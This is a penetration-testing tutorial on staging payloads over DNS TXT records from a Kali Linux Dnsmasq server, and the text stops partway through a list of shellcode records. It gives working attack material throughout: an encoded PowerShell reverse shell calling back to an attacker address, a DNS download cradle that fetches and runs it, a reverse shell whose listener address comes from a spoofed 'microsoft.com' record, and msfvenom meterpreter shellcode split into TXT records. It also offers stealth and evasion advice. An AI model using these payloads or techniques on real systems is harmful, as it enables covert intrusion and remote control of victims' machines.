Staged Payloads from Kali Linux - Part 1,2 of 3

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Miscellaneous php dnsmasq kali-linux offensive-security dns-smuggling staged-payloads
Overview

PT Phone Home

As penetration testers, we often come up with creative methods to deliver and execute our payloads, such as staged payloads. A staged payload contains just enough code to call back to a system under our control and retrieve the remaining code necessary for us to complete our task, such as to establish a reverse shell. One of the more common frameworks for this that most of us have become accustomed to using staged payloads with is the Metasploit Framework.

The concept of a staged payload is very useful and can be incorporated into various other strategies to prevent embedding too much information. This becomes equally as important when the more common techniques keep getting busted by various endpoint defenses.

What I'm looking to impart unto you are techniques you can employ to create your own methods to deliver staged payloads, right from Kali Linux. We will kick this off by demonstrating how you can accomplish this through DNS.

DNS Smuggling

  • DNS Server
  • TXT Records
  • Chunking Payloads
  • Staged Listener
  • Staged Shellcode
  • Staged Scripts

One of the benefits of DNS is that it’s a protocol that is nearly a guarantee to be accessible through an endpoint firewall. Although it’s expected for a specific set of DNS servers to be configured on a client, it’s not all that common for DNS traffic to be explicitly restricted to that same set of configured servers. In addition to this, it's equally as uncommon for local DNS traffic to be monitored when it doesn't go through this set of servers.

This makes DNS a valuable tool for us to use to our advantage as we can use it to host DNS records that contain data we can incorporate into our payloads. In particular, we'll demonstrate three different types of staged payloads we can stage in DNS, a listener address, shellcode and even an entire script.

DNS Server

One of the ways we can have a DNS server run on Kali Linux is through the use of Dnsmasq. Dnsmasq is a lightweight utility that’s able to provide both DNS and DHCP services. This utility contains a simple conf file and for our purposes will be trivially smaller than most configurations.

Let's kick this off by installing Dnsmasq on our Kali machine. Once the package has finished installing, we'll make a copy of the default conf file in case we need to fall back to it.

┌──(kali㉿kali)-[~]
└─$ sudo apt install dnsmasq -y

┌──(kali㉿kali)-[~]
└─$ sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.orig

We’re going to work off of the original file vs creating a blank config file as it contains helpful comments that will help explain other configuration items in the event you want to expand upon your implementation.

For this stage of our setup, we are going to focus on four configurable settings. These settings will help keep our implementation lean and ensure that any of our DNS requests do not get forwarded to any upstream servers, which could bust us.

Configuration Description
no-resolv Do not obtain upstream DNS servers from /etc/resolv
listen-address The address(es) to listen on for DNS requests
no-hosts Do not obtain any configured hosts in /etc/hosts
log-queries Log every DNS request and reply that’s processed

These settings already exist within the default dnsmasq.conf file but are commented out. To enable them, simply remove the # next to the applicable line. Of these settings, the only one that expects a value is listen-address. For this setting, we’ll assign two ip addresses, the loopback address for testing and the ip address of our Kali Linux machine.

After we finish applying our settings, we’ll save the file and do a quick spot check.

Things are looking good enough for us to try to start up our server. Instead of enabling Dnsmasq as a service, we'll manually run Dnsmasq with the -C and -d parameters to declare the path to our config file and instruct it to run in debug mode. Running Dnsmasq in debug mode helps us out by being able to see DNS requests/replies as well as any errors that may occur for troubleshooting from the terminal.

If everything is working as intended, we should be able to issue a DNS request using dig and designating the loopback address as the server. If we divert our attention over to the terminal where we have Dnsmasq running, we’ll see the DNS request for the A record of canyouseeme. Since this isn’t known to Dnsmasq, you’ll see a config error of REFUSED, which is fine.

Excellent, we have a functioning DNS server running on our Kali Linux machine. Our next step is where it starts getting fun, where we configure DNS records that contain data for our payloads.

TXT Records

At a very simplified level, a DNS server is used to map names to IP addresses through records assigned to a DNS server. The more commonly known DNS records are MX, NS and A records. However, for our objective, we’re going to use TXT records, which is a record that can contain up to 255 characters of text.

TXT records are frequently used for sender policy framework (SPF) records as well as for domain verification purposes. Domain verification is when a vendor wants an administrator to prove they own a given domain before being incorporated into a service by having the admin publish a uniquely assigned value to a TXT record for the domain which can be easily retrieved and verified. We’ll use these TXT records to host arbitrary payloads that we can retrieve through DNS requests.

In order to add a TXT record to our Dnsmasq instance we’ll need to add them to our config file. An example of a TXT record already exists in our conf file, starting with #txt-record=.

This entry requires two components, the domain name that contains the record and the value itself. To demonstrate this, we’ll add the following record to our conf:

Keep in mind that because this is our DNS server, the domain name can be anything we want. You can make it something fun for testing, or something that appears legitimate for an added level of stealth in the event the traffic is being monitored.

After we add the new setting, we’ll need to restart our Dnsmasq instance and use dig again to retrieve the TXT record for tristram.pwn. If we look back at our terminal running Dnsmasq we’ll also see the query and response that was sent back to the client.

Now we’ll take this a step further by replacing our TXT record with the PowerShell cmdlet Get-Service, that we'll retrieve and execute from our victim machine.

We will retrieve this record on our victim machine through the use of the Resolve-DnsName cmdlet. We will then access the Strings property which will contain the TXT record value that’ll pass to Invoke-Expression, ultimately resulting in the execution of the cmdlet we stored in the TXT record.

PS C:\> Invoke-Expression $((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings)
Status   Name               DisplayName
------   ----               -----------
Stopped  AarSvc_736e5       Agent Activation Runtime_736e5
Stopped  AJRouter           AllJoyn Router Service

In the event the machine doesn't have this cmdlet available, we can use the native nslookup command instead, with some added formatting to extract our data.

PS C:\> iex ((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim()
Status   Name               DisplayName                      
------   ----               -----------                           
Stopped  AarSvc_736e5       Agent Activation Runtime_736e5        
Stopped  AJRouter           AllJoyn Router Service

Great, now we have a functioning DNS server that we can use to host TXT records. While storing small values is relatively straightforward, we’ll need to try harder if we want to incorporate larger payloads.

Chunking Payloads

Payloads will vary in size depending on what you're trying to accomplish. While it's easy to work with payloads that are under the 255 character size threshold, you could easily exceed that limit if you end up encoding your payload. In those cases, we will need to split them up into individual records that encompass the entire payload instead.

Let's take a look at how we would handle payloads that exceed the threshold by using a base64 encoded reverse shell.

JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

We need to split this into individual records that contain no more than 255 characters, or any other value that doesn't exceed the size threshold. This is trivial to accomplish, but if our payload is split into numerous records, we'll need a way to dynamically retrieve our entire payload. One way for us to facilitate this is to register a TXT record that contains the total number of records that make up our entire payload. In addition to this, for every subsequent record, we'll prepend its domain name with the corresponding chunked payload position.

This is a bit of a pain to do manually, so we'll use a simple helper function called Format-StringToTxtRecord. This function will split our payload based on our designated number of characters and convert them into individual TXT records for us to include in our conf file.

PS C:\> $String = 'JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='
PS C:\> Format-StringToTxtRecord -String $String -Name tristram.pwn -Characters 255
txt-record=1.tristram.pwn,"JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGE"
txt-record=2.tristram.pwn,"AbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7AC"
txt-record=3.tristram.pwn,"QAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlA"
txt-record=4.tristram.pwn,"HgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4"
txt-record=5.tristram.pwn,"AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB"
txt-record=6.tristram.pwn,"1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
txt-record=tristram.pwn,"6"

Now that our payload has been properly formatted to work in our config file, let’s break down exactly what we're working with.

We have a single TXT record for tristram.pwn that contains the value 6. This tells us that we have 6 other records that make up our entire payload. To retrieve these records, we know that we need to make a DNS request to 1.tristram.pwn, 2.tristram.pwn, respectively. Once we do, we need to concatenate them to form our entire encoded payload.

Let’s get our DNS server setup so we can try this out. We’ll start by copying our generated config setting into our Dnsmasq conf and restart the service. The order these records go into the file will not matter.

At this point our config file looks like this:

┌──(kali㉿kali)-[~]
└─$ grep "^[^#]" /etc/dnsmasq.conf       
No-resolv
listen-address=127.0.0.1,192.168.0.21
No-hosts
txt-record=1.tristram.pwn,"JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGE"
txt-record=2.tristram.pwn,"AbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7AC"
txt-record=3.tristram.pwn,"QAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlA"
txt-record=4.tristram.pwn,"HgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4"
txt-record=5.tristram.pwn,"AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB"
txt-record=6.tristram.pwn,"1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
txt-record=tristram.pwn,"6"
log-queries

From our victim machine we will turn the Resolve-DnsName cmdlet into a download cradle that will retrieve the number of chunks, the subsequent chunks and join them together to form a string. Once the string has been formed, we will decode and execute it from our victim machine.

PS C:\> Invoke-Expression (([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($((1..$((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.tristram.pwn') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '')))))

If we go back to our terminal, we'll see the individual TXT lookups and a successful reverse shell.

Now that we know how to handle TXT records for larger payloads, the potential for more complex payloads is well within our grasp. Next we’ll take a look at staging a listener address.

Staged Listener

Keep in mind that large TXT records may stick out like a sore thumb, but not all payloads need to be huge. We can use the techniques we have learned to inject a simple payload such as a listener address into a simple reverse shell.

We'll start off by creating a new TXT record, but will switch out our previous usage of tristram.pwn with microsoft.com. This domain will contain a TXT record that contains the listener ip and port of our attacker machine in a IP,PORT format. By configuring the record with a reasonably looking name, it may not be immediately recognized as malicious.

Now we'll look at our reverse shell from earlier, which has been decoded and split for readability. What makes this payload different now is that we'll include a DNS request for the TXT record of microsoft.com that is stored on our DNS server and store it in a variable. We’ll then use this variable as the input for the IP and port argument for our TCPClient by splitting the string into an array and specifying the corresponding index.

$DNS = (Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings
$client = New-Object System.Net.Sockets.TCPClient($DNS.split(',')[0],$DNS.split(',')[1]);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

Once we execute this payload and return to our terminal, we'll see the TXT lookup for microsoft.com followed by a successful reverse shell.

Although simple, we were able to prevent hardcoding our listener address information within the payload itself by retrieving it through a DNS lookup.

Staged Shellcode

Now we will take a look at using this technique to retrieve shellcode. In this scenario, we will use a PowerShell shellcode runner that will call out to our DNS server for the shellcode that needs to be executed. Let's start off by generating our shellcode with msfvenom.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.21 LPORT=443 EXITFUNC=thread -f ps1

We will reuse our Format-StringToTxtRecord helper function to chunk our shellcode into individual TXT records that we’ll insert into our config file and restart Dnsmasq.

PS C:\> $String = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5'
PS C:\> Format-StringToTxtRecord -String $String -Name microsoft.com -Characters 255

txt-record=1.microsoft.com,"0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c"
txt-record=2.microsoft.com,",0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x1"
txt-record=3.microsoft.com,"8,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40"
txt-record=4.microsoft.com,",0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9"
txt-record=5.microsoft.com,",0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0"
txt-record=6.microsoft.com,"x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0"
txt-record=7.microsoft.com,"x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0x"
txt-record=8.microsoft.com,"b8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x"
txt-record=9.microsoft.com,"0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x"
txt-record=10.microsoft.com,"48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x8"
